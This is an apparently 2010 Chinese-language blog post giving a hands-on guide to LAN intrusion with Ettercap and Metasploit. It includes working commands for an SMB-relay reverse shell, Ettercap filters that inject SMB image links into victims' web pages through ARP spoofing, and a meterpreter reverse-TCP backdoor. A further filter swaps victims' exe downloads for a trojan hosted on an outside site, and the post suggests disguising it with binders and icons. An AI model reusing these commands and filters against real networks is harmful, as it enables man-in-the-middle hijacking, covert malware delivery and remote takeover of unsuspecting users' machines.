Have Fun With Ettercap Filter In LAN

date 2010年01月11日 | category 学习笔记| 坏人咖啡

作者:Mickey
前几天pt007 带我去玩,在车上讨论了下内网入侵的思路,当时说到了利用ARP 欺骗加上smbrelay
来得到主机cmdshell 的方法,又提到了一个当用户通过浏览器下载EXE 文件的时候,利用ARP 欺骗
把数据流都引到本地,然后替换成我们事先准备好的后门,再转发出去,这样当目标运行了下载的EXE
后,我们就能得到主机的访问权限了,今天下午正好无事,就找了找资料,测试了下,顺带的也学了
学Ettercap 的使用。
一.Ettercap+SMBRELAY
还是先说一下我的渗透测试平台,我用的是Ubuntu9.04,Ettercap 0.7.3,MetaSploit 3.2,我们先用
MetaSploit 里的SmbRelay 来监听本地的445,使用之前,如果本地有Samba 服务在运行的话,需要
先关闭,否则会造成端口冲突的。首先运行msfconsole,命令如下:
sudo ./msfconsole
use exploit/windows/smb/smb_relay
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.1.52
set LPORT 53
exploit
这里我选择的payload 是反向连接到本地的53 端口的,运行效果如图:
接下来,我们编写Ettercap 的Filter,过滤脚本内容如下:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data,”Accept-Encoding”)) {
replace(“Accept-Encoding”,”Accept-Mousecat”);
msg(“zapped Accept-Encoding!\n”);
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace(“</body>”,”<img src=\”\\\\192.168.1.52\\fvck.jpg\“> </body>” “);
replace(“</Body>”,”<img src=\”\\\\192.168.1.52\\fvck.jpg\“> </body>” “);
msg(“Filter Ran.\n”);
}
Ettercap 的filter 语法规则,可以通过man 8 etterfilter 来查看,我这里说说比较容易出错的地方,if 和
(之间必须有一个空格,每个if 语句块必须用{}来包含,只要注意这2点,基本上就没什么问题了。
简单说下这段filter 的含义,第一个if 语句块,如果ip 协议匹配TCP,并且目标端口是80的话,则搜
索HTTP 数据流的Accept-Encoding,并且替换为Accept-Mousecat,然后在控制台打印一条“zapped
Accept-Encoding”的消息,这么做的目的,是为了避免目标客户端浏览器像启用了GZIP 这样的数据压
缩功能。
第二个if 语句块,如果ip 协议匹配TCP,并且源端口是80的话,则搜索</body>和</Body>关键字,
并且替换为img,并且把img 的src 属性通过smb 方式指向我们用metasploit smbrelay 监听的445服
务,最后在控制台上打印”Filter Ran”运行的信息,如果你html 好的话,你也可以自己修改成其他的html
标签。
写好以后,用etterfilter 编译一下
etterfilter smbrelay.filter -o smbrelay.ef
效果如图:
接下来使用Ettercap 来进行arp 欺骗,我这里只对内网的192.168.1.67进行ARP 欺骗
ettercap -T -q -F smbrelay.ef -M ARP /192.168.1.67/ //
各参数意义如下:
-T:使用TEXT 模式启动
-q:启用安静模式
-F:加载指定的filter
-M:指定使用ARP 模块
当192.168.1.67 使用浏览器浏览网页的时候, 他浏览的所有网页里都会被插入<img
src=\\192.168.1.52\fvck.jpg>,这时候metasploit 也有响应了。我们得到了目标的cmdshell.
为了验证下,我刚才说的,使用新建立的用户登陆192.168.1.67,看下效果
当然了,用这个方法,如果有网马的话,也可以直接使用了,也可以进行XSS 攻击。
二.替换目标下载的exe 文件
我这里用msfpayload 生成一个反向连接的exe 后门(这里exe 命名成setup.exe/install.exe 的原因是,
可以绕过vista 的uac,当然是需要管理员2次点击的)
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.52 LPORT=8888 X
>/home/mickey/setup.exe
然后用msfcli 本地监听8888端口
./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.52
LPORT=8888 E
编写filter 脚本
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, “Accept-Encoding”)) {
replace(“Accept-Encoding”, “Accept-Mousecat”);
msg(“zapped Accept-Encoding!\n”);
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace(“keep-alive”, “close” “);
replace(“Keep-Alive”, “close” “);
}
if (ip.proto == TCP && search(DATA.data, “: application”) ){
msg(“found EXE\n”);
if (search(DATA.data, “Win32”)) {
msg(“doing nothing\n”);
} else {
replace(“200 OK”, “301 Moved Permanently
Location: http://www.hackest.cn/tools/setup.exe“);
msg(“redirect success\n”);
}
}
原理是当目标下载windows 格式的exe 文件时,替换当前页面的http 响应信息202为301,并且重定向
到我存放木马的地方。
使用etterfilter 编译一下
Etterfilter smbrelay.filter -o smbrelay.ef
加载downexe.ef 过滤器,进行arp 欺骗
sudo ettercap -T -q -F downexe.ef -M arp /192.168.1.67/ //
当目标进行网上冲浪,并且下载exe 文件,并运行后,我们就得到主机的权限了,当然我这里做的比
较粗糙,可以使用绑定器或者winrar 把文件合并起来,并且修改下exe 文件的图标,这样就显的更真
实了。
现在登陆192.168.1.67看一下效果,并且做下验证
详细的过程,可以通过wireshark 抓包看的很详细
文章写的仓促,有错误的地方,和有好的思路的同学,可以联系我一起交流。

所属分类: 学习笔记


没有评论

暂无评论

RSS feed for comments on this post.

对不起,该文章的评论被关闭了!